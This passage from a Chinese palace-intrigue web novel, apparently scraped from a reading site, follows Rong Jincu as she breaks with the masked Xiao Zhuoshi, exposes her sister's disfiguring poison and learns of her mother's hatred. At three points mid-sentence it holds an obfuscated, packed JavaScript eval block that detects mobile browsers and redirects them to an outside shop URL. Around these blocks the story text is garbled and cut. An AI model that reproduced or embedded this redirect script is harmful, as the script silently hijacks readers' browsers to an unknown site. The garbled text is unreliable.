容锦簇瞪了他一眼:“……你正经点儿!” “很正经了,祖宗。”银面桃花眼里蕴着笑意,表示投降,“还有别的问题吗,我一定如实奉告。” “那场大火,有没有查到是谁放的?” “目前线索还是集中在北疆人身上。”萧琢时正色,“朔王前不久刚跟他们打完仗,双方议和,北疆吃了败仗,同意上贡,所以北疆使臣怀恨在心。” 容锦簇自然记得北疆。 北疆后来上贡了多年,还曾送来一位和亲的北疆公主,也就是后来宫中的端妃。 端妃性情直率,一向有话直说,又不欺凌弱小,慢慢成为了容锦簇在宫里最好的朋友。 前世萧逐夜驾崩后,端妃觉得在宫里做太妃实在无趣,两个老对手皇后和万贵妃也死得死疯得疯,干脆向容锦簇请求出宫。 最后还是师兄弄来了一种假死药,由容锦簇亲手送端妃离开了金囚笼似的深深宫廷,还她自由。 容锦簇叹了口气,觉得很羡慕。 端妃就是天上的鸟儿,可以自由自在翱翔,什么时候她也能去看一看九州四海呢。 “想到谁了?”萧琢时问。 “没有。”容锦簇回神,心不在焉地笑了一下,“你继续说。” “我没什么可说的了。”萧琢时语调无辜,“当然不能完全排除朔王的嫌疑,小……九殿下也是他诱骗到朱雀门去的。” “那圣上如今身体如何了?” “我怎么知道。”萧琢时垂下眼,漫不经心拨了拨扇坠,“容二姑娘真当我无所不能吗,连圣体状况都可以打探得一清二楚。” “你们幽冥阁可是情报组织。” “那也有诸多打探不到的事。” 容锦簇盯了他一会儿,没感觉他在说谎,只好放弃了:“好吧。那你今日带太子妃出来是怎么回事?” 萧琢时顿了顿,反将一军:“容二姑娘如何会认得那是太子妃?” “所以在你看来,我谁都不能认识才对。”容锦簇反应更快,“当年太子大婚,民间多有流传太子妃画像,娘娘貌美,见过一次就无法忘记,不行么?” “行,行,是在下以小人之心度君子之腹了。”萧琢时再次投降,“你既然知道我拜托你救的人是太子殿下,就应当明白我跟太子殿下交情不浅。太子殿下请我关照太子妃,理所当然。她想出门听戏,我也只得奉陪。” 容锦簇明白了,银面桃花这回出来也就是个侍卫。 她忍不住笑了一下,实在没什么问题:“最后一个问题。” “说。” 她伸出一只手:“你还欠我三千两银子呢。” “……在下忘带了。”萧琢时的态度一下好了起来,如沐春风地弯起眼,“容二姑娘是否愿意再宽限我两日?若见不到,我也能差人送到你手上。” “行吧。”容锦簇仰了仰脸,以示对他的不屑,“还有什么事?” 萧琢时玩世不恭地扯开一抹笑:“没事就不能谈谈了么?” “莫名其妙。”容锦簇嘀咕。 “我听到了。”萧琢时有问必答,没问也答。 容锦簇干脆抿了嘴,鼓起腮帮,憋气不语。 “挺可爱的。”萧琢时难得不忙,有时间坐在这里逗她,心情是肉眼可见的好,慢吞吞啜了口茶,含笑回答。 “对了,上次咱们去救万嫣然,你不是捡到了幽冥阁的东西吗?查到什么没有?” 萧琢时放下茶盏,缓缓摇了摇头:“很难查。” “你都当上副阁主了,还难查。”容锦簇小声,“恐怕是查到了什么,想包庇吧。” “容二姑娘,冤枉啊。”萧琢时摊开手,“你知道的,但凡牵涉到皇家的事,那也不是我说查就能查。” “其实有时候当什么人做什么事,都是身不由己。”他目光微微放远了些,望向窗外,逐渐变得悠深空茫,“容二姑娘,其实我还是想问你,如果有一日我们有机会,你愿不愿意跟我走?” “你是说,私奔?”容锦簇捏了捏掌心,一时拿不准他的意思。 萧琢时望着她,点了点头,十分郑重。 有那么一瞬间,容锦簇真想撕开这人的伪装,看看他衣冠楚楚皮囊下藏着的到底是怎样的黑心。 她冷笑着站起身:“道不同不相为谋。我早说过我要入宫,你若是听不懂,我们也没什么再打交道的必要了。” 他们对视,不知为何,萧琢时眼里尽是隐忍的痛楚。 他像是失了所有力气,折扇脱手,顺着指尖缓缓滑落到桌上,良久,动了动薄唇,像在酝酿着什么。 就在这时,银面石榴花一个箭步跨入熙春楼,很快锁定了银面桃花的位置,飞奔过来,神色惊惶:“大人,大人!” 他附在萧琢时耳边,低低说了几句。 萧琢时神色剧变,即使藏在面具下,仍能看到下颌不可抑制地绷紧。他骤然站起身,开口告辞:“在下有急事先走一步。容二姑娘,得罪了。” 容锦簇浑身冰凉,一声不吭。 萧琢时深深看了她一眼,低头作揖,转身头也不回地大步离去。 “阿琢!” 他果然站住了。 萧琢时步子顿住。他回过头,那双本就黑沉沉的丹凤眼里各种情绪交织翻涌,将他整个人搅得天翻地覆。 “我们完了。什么都回不去了。”容锦簇悲哀地轻声说,这次她的声音比任何一次都轻,她知道萧琢时一定听得见。 银色面具相隔,她只看得到对方的小半张脸和一双复杂的眼睛。 那双美丽得摄人心魂的丹凤眼里,酝酿着一场沉沉的风暴。 “阿琢,我们不可能了,你不知道吗?”容锦簇声如泣血,“你知道,你什么都知道!那你为什么总是跟我提私奔,你难道不记得——” “本来就是你在那天抛弃了我啊!!!” 这一下,几乎熙春楼里所有人都将目光投向了他们。 万嫣然跟白凝初正聊得投机,没听见,忙左右打听:“什么?什么?她说什么了?” 其实两人离得不远,前面那些话也没有旁人听去,只有石榴花听见了。他沉浸在震惊里,愣愣张着嘴,目光在两人之间反复徘徊。 二殿下什么时候背着他,跟容二姑娘发生了这么多故事?他怎么一点都不知情? 萧琢时没有任何迟疑,折身走向她,伸出手:“跟我走,我会给你一个解释。” 这一回,容锦簇避开了他的手。 她垂下眼,无声拒绝他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484505|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的请求。 萧琢时抓了个空,目光空茫如雪,尽是悲凉。 他魂不守舍地立在她面前,几乎站不住。还是石榴花反应快,捞了他一把,硬生生架着自家二殿下站稳了,低语: “您还是快些进宫吧,圣上还等着您去侍疾呢!” 萧琢时深吸一口气,将他推开,绷直脊背,冷冷道:“现在这种时候,你觉得我还走得了吗?” 石榴花也没辙:“那要不,我跟容二姑娘说去?” “不行!”萧琢时低声喝止。 青年缓了缓,神色重新变得肃穆,再度朝容锦簇伸出手,抬起眸,姿态小心得近乎虔诚:“再给我最后一次机会吧。” “求,你。” 容锦簇摇摇头,指尖紧紧攥着掌心,掐出一道深深的印子。 不能心软。 心软会害了所有人。 在银面桃花那句话的刺激下,她失态喊出那句抛弃,已经坐实了跟银面桃花的旧情,无法再堂堂正正进宫了。 随即,她勾了勾唇弯出一个冷笑,反正前世也不是正常入宫的,再来一次也没什么。 她下定决心,哪怕再绝情,也一定要在今日彻底断了银面桃花的念想。做个坏人,痛一时总比痛一世要好得多。 “求你。”银面桃花定定看着她,又重复了一遍,“在这里,太多人了。” “我不怕。” “是我怕。”仿佛重演那日庙里的对话一般,银面桃花依旧先低头让步,“我不能再让你的名誉受损一次。” “无妨,反正那次也没人知道。”容锦簇气呼呼反驳。 她内心嘲弄又好笑。这个时候,他倒是想起名誉来了?那他三番五次劝她私奔时,怎么就没有考虑过她的名节呢? “对不起。”银面桃花哀求的眼眸紧紧黏着她,无论容锦簇的目光逃到哪一处,他的目光都会形影不离地跟上,嗓音哑得厉害,“对不起。我也有苦衷的,容二姑娘。” 不知为何,容锦簇觉得他哑了以后的嗓音,听起来莫名耳熟。 “怎么吵起来了?”白凝初柔柔的声音从身后响起,一只手拉住了容锦簇的衣袖,“容妹妹大度,不用跟一个侍卫这般计较。” 万嫣然也蔫头蔫脑地缩在白凝初身后,跟过来:“恩人,银面桃花,你们俩别吵了。” 说着,她向石榴花使了个眼色。 石榴花会意,一把架住自家二殿下,万嫣然搡着容锦簇,努力将两人带离了熙春楼。 太子妃的马车够大,总算是容纳了五个人。 “不吵也可以。”太子妃屈尊纡贵亲自劝架,容锦簇如果还想入宫后有好日子,现在就不能先得罪她,终于松了口,“但我要他保证,永不纠缠,此生不复相见。” 一瞬间,银面桃花的双眼变得又空又透。像覆了一层琉璃的宝物,那层薄如蝉翼的琉璃被拿着锥子一下一下敲碎了,终于露出藏在深处的宝物—— 却是铺天盖地席卷而来的悲伤。 半晌,他终于沉声开口:“可以。” “你发誓。” “我发誓。” 容锦簇一问到底:“若你违背了呢?” 萧琢时并拢指尖,依言对天发誓,神情木得如同心死:“若有违背,七窍流血,不得好死。” 21. 第 21 章 容锦簇目光颤了颤,忍住心头的轻悸,不得不信:“天地为鉴,太子妃娘娘、万姑娘为证,你亲口发过誓。” “是。” 容锦簇轻轻别过脸,轻声道:“可以了,你走吧。从此前尘宿怨,一笔勾销。违背此誓,七窍流血,不得好死。” 银面桃花垂下眸,单手撑着门框纵身一跃,消失在容锦簇的视野里。 正如前世,他悄悄潜入她马车里,那双诚挚的丹凤眸凝着她,用最兴奋的语气告诉她:“容二姑娘,所有事我都处理好了,今夜亥时,我们金光门见,往后一起去游历九州四海。” 等她忍着害羞,满面飞红地点了头,他回身朝她一笑,潇洒地撑起手臂,纵身跃下马车,消失在她的生命里,终生不复相见。 银面桃花一走,容锦簇也无法在马车里继续待下去了,向太子妃告了罪,独自下车。 万嫣然趴在窗沿上,目送容锦簇单薄的身影远去,摇了摇头,表示不解:“赶走不就好了吗?恩人何必要对他这么绝情?” 太子妃神情如水,素手斟茶,兀自饮了一盏,眼神里闪过一丝羡慕,轻轻叹了一声:“真的爱过才会这么恨。” “像你我,只怕想受这份苦,还受不成呢。” “不受苦多好。”万嫣然撇撇嘴,浑然不知白凝初神色哀戚,想的却是当朝太子。 夕阳西下,容锦簇跨进雪寒院,正瞧见宝河将一个婆子往外赶:“去去!我家姑娘没钱!” “怎么了?”容锦簇问。 婆子唯唯诺诺低着头,宝河气呼呼道:“姑娘,这婆子想进您的卧房偷钱呢,被我发现了!” “为什么?”容锦簇放轻了声音,问那婆子。 婆子依旧低着头一声不吭,一副任凭她处置的模样。 容锦簇叹了口气,没心情再追究:“宝河,拿十两银子,送给她吧。” 婆子本还没反应,听到这话,一时之间竟然扑通一声跪下了,老泪纵横:“多谢姑娘!多谢姑娘!” “奴婢……奴婢的小孙女生了病,奴婢为她抓药,迟迟不好,想请长乐街上那位神医帮忙瞧瞧,但神医要价十两,奴婢就是借遍身边人也凑不齐那么多钱……” “长乐街的神医是假的。”容锦簇又叹一口气,“我知道永安街有一位医术极好的郎中,是从太医院退下来的医正,与我师父师兄都认识。你孙女若是迟迟不好,由我引荐,去找那个郎中瞧瞧吧。” 婆子流着泪砰砰磕头,容锦簇不忍,对宝河吩咐:“先扶她起来,晚上再说。” 说罢进了卧房,关好门,褪去外衫,扑到床上。 被褥渐渐浸湿了一片,容锦簇闭上眼,固执地不肯拿手背去擦,任由眼泪放肆倾泻。 她不想恨银面桃花的。 银面桃花救过她三次,一次是太液池,一次是火海。 最后一次在容锦虞的及笄礼上,为夺她和魏夕度的婚事,容锦虞给她下了药,一定要毁她清白。关键时刻,是银面桃花带她从偏门逃离容府,熬过了药效,又找了二皇子做担保,让她清清白白地回了府。 眼前又浮现出银面桃花哀求的眼神,他哑着嗓音说:“容二姑娘,我也有苦衷。” 她信。 银面桃花跟她约好了时间地点,只是没能来赴约。 后来呢? 容家找到了她。 容家抓回了她。 容家家规森严,古板封建,连一个荷包都不能容,何况是私奔这样的大罪。 那桩事就这样发生了。 她被送到容家祠堂关了起来,关了整整两个月。每次出祠堂,都是为了押到诸位长老面前兴师问罪。 不同的人来了一波又一波,除了审她,还要商议如何定罪。大伯母傅盈实在不忍,求了安国公府可否提前婚期,安国公府却表现出了退婚之意。 因为容锦簇咬死不肯承认跟她一起私奔的人是谁,容家最后准备将她从族谱除名,再浸到深深的池塘里去。 她怕极了。 就在浸猪笼的前一个晚上,一顶小轿抬走了她,将她送进皇宫。 那时她才知道,原来外面变了天。 太承帝死了,太子萧逐夜登基,要选新人充实后宫,年满十五尚未婚配的姑娘都要参加。 容锦虞害怕真被选去了那孤寂深冷的宫廷,与容夫人商议了一出偷天换日。 容锦簇代妹入宫抵罪,容锦虞接替了与安国公府的婚事。 这一切直到容锦簇入选,做了深宫里的容美人,才有资格得知真相。 想到这,容锦簇哭着哭着,突然笑了。 这一世,容锦虞和容夫人对付她的阴谋诡计,居然还没开始。 大概是因为她没了安国公府的婚事吧,对她们也没了价值。一个没有价值的姐姐和女儿,只有到了宫中选妃的时候,才值得被想起来。 想到这,容锦簇从床上坐起身,弯了弯嘴角。 再过几日就是容锦虞的及笄礼了。 就算想不起她,她也要去给容锦虞添点堵呢。 — 婆子孙女的病情反反复复,到了第三日,之前抓的药都吃完了也没见好透,又开始高烧不退,婆子这才决定去永安街郎中那儿试上一试。 第四日一早,婆子抱着昏睡的小孙女,攥着容锦簇亲笔写的信笺,刚迈出容府大门,就见门口停着一辆青篷马车,而二姑娘正坐在车上对她招手。 婆子不想拂了她的好意,又惊吓又感激,爬上马车,搂着小孙女对容锦簇千恩万谢:“多谢姑娘,姑娘不用担心,奴婢一个人能找到路的,不劳姑娘用马车相送……” “赵嬷嬷客气了。”容锦簇勉强笑笑,“我最近气色不好,也想找那位郎中帮忙把把脉。” 赵嬷嬷仔细一看,果然二姑娘脸色苍白,平日里极为漂亮的一双水鹿眼不知为何又红又肿,瞧着就让人心疼。 赵嬷嬷慌忙念了声佛号:“阿弥陀佛!我们神仙似的姑娘,怎么也要受此磋磨,上天保佑,快快好起来罢。” 容锦簇这回却是真心实意笑了:“多谢嬷嬷,我没事。” 永安街的郎中姓许。许郎中生得慈眉善目,因为上了年纪,微微眯着眼,看起来颇为乐呵。 他替赵嬷嬷的小孙女把过脉,抚了一把白须,慢慢道:“不是什么大病,这是伤风热症,热邪侵表。先按这方子抓三帖药,早晚煎服,待退热止咳后,就不必再服药了。” “谢谢郎中!谢谢郎中!郎中大恩大德,老身没齿难忘!”赵嬷嬷千恩万谢,仿佛见到救星一般。 许郎中只是笑笑,目光投向容锦簇,更乐呵了。 “容丫头,又来我这儿求什么啊?” 容锦簇不好意思:“许伯伯,我抓点消肿的药。” “哈哈!”许郎中倾身瞧了瞧,幸灾乐祸,“你这丫头,替谁掉了这么多眼泪?” 容锦簇瞬间觉得耳根有点发烫,连连否认:“才没有,我种的花死了而已。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484506|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “死的是桃花吧?”许郎中得意洋洋,“我早看出你这丫头红鸾星动,这几年命里犯桃花,怎么,遇到的是一枝烂桃花?” “您说什么呢,哪有桃花死了。”容锦簇无奈,“许伯伯,您是看病的又不是算命的,怎么算起红鸾星动了,还是抓药吧。” “我还需要抓几帖治过敏的药,许伯伯,您这有没有能让人脸上起红疹的药啊?” “你想害我?”许郎中一听这话,顿时吹胡子瞪眼,“我又不卖毒药,你好端端的要脸上起红疹的药做什么?” 当着赵嬷嬷的面,容锦簇不好直说自己的计划,随意扯了个理由:“您不是说我命犯桃花嘛,我脸上起了红疹,那烂桃花就不来纠缠我了。” “也有道理啊。”许郎中抚了抚白须,“不给!” 容锦簇正打算软磨硬泡,一个小小的玄色身影跨进医馆大门,小脸绷着,站到一旁的柜台前,将一张泛黄的药方拍在案上,稚嫩的声音板板正正:“伙计,按这个方子抓十帖药。” 这熟悉的声音。 容锦簇应声低下视线:“九殿下?” 萧慎绷着小脸,如同小大人般严肃,抬起头认真看了她一眼,点了点头算作打招呼。 容锦簇哑然失笑:“九殿下也亲自来抓药?” “别人抓我不放心。”萧慎少年老成地叹了一口气,想了想,还是问,“你不知道吗?我二哥病了。” “二殿下病了?”到底前世保过她一次,容锦簇对这个素未谋面的二殿下印象不算坏,“什么病?恐怕得好生将养一阵吧。” “问我吗?”萧慎眼睛都睁圆了,“你又不是不知道!” 容锦簇没听明白自己应该知道什么,还是愿意惯着他:“好好好,我知道,不问了。” 萧慎一张小脸气鼓鼓的,重新扭回头不再看她,自言自语。 “二哥回府以后就昏迷不醒,半死不活,一病不起。高烧不退躺了三天,再聪明也要烧傻的。他病中还一直念着某人的名字,本来什么也喂不进去,二哥身边的长水趁他说胡话的时候硬灌,才把药灌进去。” 容锦簇摸了摸鼻尖,总感觉他意有所指。 但她又不曾得罪过九皇子,更不知他为何不高兴,云里雾里回道:“是吗?看来二殿下身子骨羸弱,那必然要好好调理的。” 闻言,萧慎气呼呼瞪了她一眼。 都这个时候了,她还说这些客套话,一点要去探望二哥的意思都没有! 容锦簇更莫名其妙了,慎儿前世是个很乖的小孩子,何时这样对她生气过? 想了想,试探道:“你是忘记带钱了么?我替你付药钱吧。” 萧慎差点一口血喷出来。 他不可置信地仰起脸,望向这个漂亮姐姐,她怎么比他还会装无辜! 一贯说话绕弯子、还喜怒不形于色的九殿下憋着气忍了半天,终于忍不住了:“我是说,二哥生病,你不应该去瞧瞧他吗?” “我?我为什么要去瞧二殿下,我也不是郎中啊。”容锦簇奇怪,“再说我跟二殿下,还没有跟九殿下你相熟呢。” 说着,她伸手想捏捏萧慎的包子脸,却被萧慎一个闪身躲过,气呼呼拎起伙计配好的药,扭头就走。 留下容锦簇站在原地,满面诧异。 萧慎边走边替二哥伤心,这女人,明明那么美,心却那么狠。 二哥病重时还一声一声念着她的名字,她倒好,二哥一出事,就装不认识了! 22. 第 22 章 “九殿下,您怎么了?” 二皇子府前院,长水弯腰接过沉甸甸的药包,眼尖发现萧慎脸颊边未干的泪珠,忍不住伸手刮了一下:“有人欺负您了?” “没有。”萧慎绷着小脸,眼睛里写着大大的不高兴,“我二哥醒了吗?” “太医在里面,九殿下先去瞧瞧吧。” 萧慎不等听完,忙迈开腿跑上台阶:“二哥!二哥!” 拨开重重软帘,床前围着的太医忙为九皇子让了条路。透过雪白的光影,萧慎瞧见一身玄色寝衣坐在床上的二哥。 青年听见动静,也偏过脸注视着他,眼底浮现一丝笑意。 萧慎瞬间鼻尖一酸:“二哥,你终于醒了!” 二哥没戴面具时,有一张十分好看的脸。面似霜覆,目若星流。眉如刀裁,长睫缀珠。眉骨锋利,鼻梁高挺,下颌利落,他侧过身,血色尽失的薄唇勾出一道温柔的弧度。 “小九,怎么哭了?”他伸出手,要扶萧慎爬上来。 “我没有。”萧慎含着鼻音,扑过去闷闷地抱住对方,感觉二哥的腰又细了一圈,“大哥走了,父皇病了……你睡了好久。” 他害怕。 二哥有一下没一下地拍着他的背,动作轻柔:“我没事。听长水说,你去医馆抓药了?辛苦我们小九了。” “嗯。”萧慎依偎在一身清苦药味的二殿下身边,才觉得安心,顿了顿,小声说,“我在医馆见到那个姐姐了。” 二哥覆在他背上的手一顿。 萧慎仰头望去,二哥垂下长长的睫毛,神色怅然若失。 他抿了抿嘴,又鼓起腮。 “二哥,我不说了。”萧慎本想说那姐姐眼睛又红又肿,却怕二哥听了勾起伤心往事,欲言又止地从对方怀里钻出来,垂着头道,“你好好休息。” 萧琢时心不在焉嗯了一声,嗓音带着病中的沙哑:“小九,让长水过来见我。” “小的在这呢。”长水赶紧费力挤到床前。 “鬼王谷还没来信么?”萧琢时问。 “哎哟我的二殿下,您还病着,就别想这么多了。”长水道,“您放一万个心,鬼王谷只要递消息,小的第一时间送到您面前!” 萧琢时沉吟片刻:“现在什么日子?” “六月廿四。” 离六月廿九,还有五天。 萧琢时目光紧了紧:“长水,写信去催。鬼王谷六月廿九入夜后,必须给京城回信。” 长水应了一声往外跑,萧琢时也翻身下床,萧慎连忙按住,着急道:“二哥你刚刚答应我了,要好好休息!” “小九,我知道。”萧琢时随手揉了一把萧慎的头顶,眉眼万般无奈,“但不可以是现在。二哥答应你,等事情结束后好好休息。” 另一边,容锦簇拿着两包治过敏的药回到雪寒院。 刚进门,就感到气氛不对。 院子正中,一个小侍女埋头跪着,宝河坐在不远处脸色冷冷地摇着扇子,宝灯手上握着一只小布包,在廊下反复踱步。 “怎么了?” 见容锦簇回来,两个侍女顿时松了一口气,七嘴八舌挤上来告状。 “姑娘,这个吃里扒外的……” “姑娘,您瞧瞧她……” 两人同时开口,吵得容锦簇什么也听不清:“宝河先说。” 宝河愤愤不平:“姑娘!这黑心小丫头收了春桃院的贿赂,准备往您净面的水里下药!” 容锦簇心一沉,下意识摸了摸自己的脸。 “还没来得及下呢。”宝灯接过话来,“幸亏有宝喜给咱们通风报信,不然等到今晚,姑娘洗过脸就要中招了!” 容锦簇微微松了口气,接过宝灯手里的小布包,打开仔细闻了闻,又捏起一小撮粉末在指尖碾了碾。 容锦虞还真是锲而不舍,用的药跟前世一模一样。 容锦簇无声冷笑了一下:“不必打草惊蛇。再过两日,就是容锦虞及笄礼了。” — 六月廿六,天色晴朗。 容夫人一大早急急爬起来梳妆,眉眼间尽是笑意:今日,她最心爱的小女儿容锦虞终于要及笄了。 但是想到阿宁及笄后就要考虑定亲,她又万般不舍。 怀着纠结的心情,容夫人对镜描眉,忽闻门外啷当一声响。 “怎么了?”她眼神都不肯往外飘一下,微微抬高了声音问门外侍女。 “夫夫夫人!”她的大侍女慌慌张张奔进门,话都说不利索了,“二、二、二姑娘脸上起了好多疹子,只怕、只怕染了什么病……” 容夫人手上动作一歪,好端端的蛾眉画歪了一侧。 她皱起眉,低声骂了一句:“晦气!” 用力擦掉画好的眉,这才站起身:“在哪儿呢?” 容锦簇独自站在门外,低垂着头,用一块雪白的帕子狼狈地按着半边脸颊,形单影只。 见状,容夫人更是气不打一处来:“容锦簇!病了就在雪寒院养着,今日阿宁及笄,你闹什么!” 容锦簇掀开帕子,容夫人顿时倒吸一口凉气。 光洁如玉的脸上起了一片红疹,看起来就触目惊心。 “今早洗过脸就这样了,母亲唤三妹妹过来吧。”容锦簇神色平静,“如果三妹妹给不出一个合理的解释,今日三妹妹的及笄宴就别想办了。” “你!” 容夫人一想就知道,这时万万不能让容锦虞过来,下意识想让侍女给容锦虞通风报信。 下一刻,容锦虞带着宝喜欢快地跨过院门:“阿娘,我来了!” 容锦虞转过身,面无表情盯着她。 看见她面上一片鲜红,容锦虞先打了个激灵,这才反应过来,开始幸灾乐祸:“哎呀,二姐姐,这是怎么回事?毁了容貌,姐姐下半辈子就毁了呀。” 她前两日还在生气下药不成的事。据春桃院买通的小侍女说,下过药的水不是被宝河摔了就是被宝灯用去浇花了,还有一次好不容易端到了容锦簇跟前,容锦簇却说不想净面! 她生气归生气,也只能耐心等着,好在今日终于成功了。 容锦簇不答反问:“三妹妹,我院中逮到一个侍女,说春桃院买通了她,往我净面的水里下药,你应该知情吧?” 院门外忽然扑通一声,恰如此刻容锦虞的心情。 她没想到容锦簇真能找出那个小侍女,脸色白了白,嗫嚅着辩解:“你怎么能断定是我做的?就凭她一面之词?” 容夫人一见不好,容锦虞这是被容锦簇带进去了! 忙道:“阿折,说什么呢,你这分明是过敏,跟阿宁有什么关系?” “过敏?那怎么平日不过敏,今日碰过那水就过敏了?”容锦簇拍了拍手,“正巧,我已让宝河将水端来,不如三妹妹也试试?” 话音刚落,宝河端着白瓷盆,当真进了院。 容夫人心中一紧,看容锦虞的表情就知道此事是真的,忙制止:“万一你在这水里放了致人过敏的毒物怎么办?你妹妹今日还及笄,你这是要害她!” “那巧了,我正好有治过敏的药。”容锦簇示意宝河拿出药包,“还是永安街许郎中亲自抓的药,专治过敏,服下不久就会缓解。三妹妹碰过这水,若真过敏了,服药就好。” 容锦虞没想到容锦簇做好了万全的准备,一时哆嗦起来:“我、我想想。” “三妹妹可要想好了。”容锦簇漫不经心道,“如若水里有过敏的毒物,服用这药就能好;但若水里加了毁容的药粉,那脸可永远都好不了了……” 容锦虞立刻尖叫起来:“快拿走!我不碰!” 容夫人见状,只好咬咬牙,先发制人:“容锦簇!你谎话连篇!你这分明不是过敏,是染了时疫!快来人哪,把她送回雪寒院关起来!” “我这两日没出过门,从哪儿染上时疫?”容锦簇冷冷笑了一下,“母亲不必想法子了,我有人证物证。” 说着,宝灯已经扭着那小侍女进来,一并在院前跪下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484507|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小侍女哆哆嗦嗦,抬起脸看了容锦虞一眼,容锦虞脸色刷的一下白了。 宝灯拿出布包,由大侍女转交容夫人:“禀夫人,这就是那水中的毒,可毁女子容貌,夫人若不信,找郎中一问就知。” 布包到了容夫人手里,她打开瞧了两眼,忽然将那布包一扬,粉末洋洋洒洒落了一地。 “物证何在?”她冷冷看向容锦簇,铁了心要保容锦虞。 容锦簇弯唇笑笑,下一刻,宝河却从怀里摸出另一个布包来。 宝河瞧着容夫人,满面无辜道:“夫人,方才那粉末是三七磨成的药粉,宝灯一时着急拿错了,奴婢手里才是真的证据。” “……” 容夫人不甘心:“那人证呢?” “这就是人证。”宝河指了指跪在地上的小侍女。 小侍女瑟瑟发抖,伏倒在地:“奴婢知错了,奴婢一时鬼迷心窍,收了三姑娘的二两银子,答应把这粉末放到二姑娘洗脸的水里。奴婢不知道那是毒,求姑娘和夫人恕罪啊!” “胡闹!”容夫人皱着眉喝道,“谁知道你是不是诬陷两位主子?谁又知道这番话是不是有心人教你说的?你说三姑娘买通你,谁能作证?” 这下,院子里静悄悄的,一片静寂。 容锦簇没说话,两个侍女也没有吭声。容锦虞面色难看,不知所措。 容夫人自以为破了这一局,眉眼间浮现出一抹得意,盖棺定论:“好了,既然是误会一场,都散了吧!等一下就是阿宁的及笄礼,我不希望再出任何岔子!” “至于你,阿折。”她冷冷看过来,“你等着。” 容锦簇慢慢抬起低垂的眼,朝容夫人弯了一弯。 “阿娘,既然一定要这样,那我就不等了。”她笑盈盈地对上目光,忽然再度拍了拍手。 在容夫人和容锦虞惊慌的眼神里,这回没有再进来任何人。 下一刻,一个熟悉的身影往前迈了一步,站了出来。 “我作证。” “宝喜?怎么会是你!”容锦虞难以置信地盯着那道瘦弱背影,这是宝喜第一次站到自己前面。 “夫人,我作证。”宝喜没有再看容锦虞一眼,直直跪了下来,“那药,是三姑娘托奴婢去买的,如果不信可以去春桃院问一问,好几个小侍女都听到了。三姑娘收买雪寒院小侍女也是奴婢亲眼所见。” 她跪在地上,缓缓叩首,声音缓慢却坚定:“求夫人明鉴。” 绝望中,容夫人冷笑一声:“若我不愿明鉴呢?” “弟妹,这可由不得你了。”傅盈缓缓步入,身后还跟着容家几位辈分较长的夫人,脸色是前所未有的严肃,“弟妹,阿宁犯了错,就应当受惩罚。你一味护着她,不是好事。” 后面一位容家长老缓缓道:“先让阿宁去祠堂反思反思吧。” 无人反对,一锤定音。 容夫人目眦尽裂:“不可以!今日还是阿宁的及笄礼!” 她上前扯住傅盈的衣袖:“你怎么能这样对待阿宁!她及笄,你可是正宾!” 傅盈冷笑一声,甩开她的手:“你都这么对待阿折了,还指望我做阿宁的正宾?做梦!楚画仪,这个正宾我不做了,烦请你另请高明吧!” 容夫人膝盖一软,险些跌倒在地,双目无神,失魂落魄:“今日是我为阿宁算的好日子……” “好日子不差这一时。”那位长老缓缓道,“容锦虞还未定亲,按礼制,二十之前行及笄礼即可。” “不!不!”容夫人似乎着了魔一般,眼睁睁瞧见容锦虞被带出去,突然转过身,双目赤红地盯着容锦簇。 “你这个扫把星!天生克容家,除了带来灾祸还会做什么!你姐姐,你爹,哪个不是死在你的手上!如今,连阿宁你也要害死吗!你怎么不把我这条老命也收了去!” 她哭喊声凄厉如鬼,容锦簇浑身狠狠一震,抬起头。 两世了,她终于第一次知道,自己的亲生母亲为何会如此恨她。 23. 第 23 章 容锦簇不是楚画仪的第一个孩子。 她是双生子,出生时有一个双胞胎姐姐。 当年楚画仪身体不好,拼死生下一双孩子。刚抱到第一个女儿时,初为人母的喜悦冲击着她的心脏,对这个软软的小生命充满了爱意。 婴孩乖乖躺在她怀里,没有哭闹也没有睁眼。正在这时,第二个女儿放声大哭起来。楚画仪满头冷汗,虚弱至极,仍然在稳婆帮助下艰难地抱了抱第二个女儿。谁料等她再回头看心爱的长女时—— 那个乖巧的,一声不哭的婴孩已经咽了气。 “不——”楚画仪悲恸欲绝,那是她的第一个孩子啊! 再看向哭闹不止的二女儿时,楚画仪的眼神慢慢冷了下来。一定是她!一定是她害死了自己的亲姐姐! 她抱着慢慢冷去的长女尸首,为她取了早已想好的名字。容锦谙,小字阿珠。本想要她一生不谙世事,安安稳稳做容家掌上明珠。谁知未谙世事,已经身死。 二女儿的名字,她不愿取,还是容将军定了“锦簇”两个字。 听到这个消息,楚画仪冷笑。 想用她阿珠的命换一世花团锦簇?想都别想!于是她为二女儿选定了小字,阿折。 花团锦簇,繁则易折。 若是何时夭折了,就当是为阿朱赎罪好了。 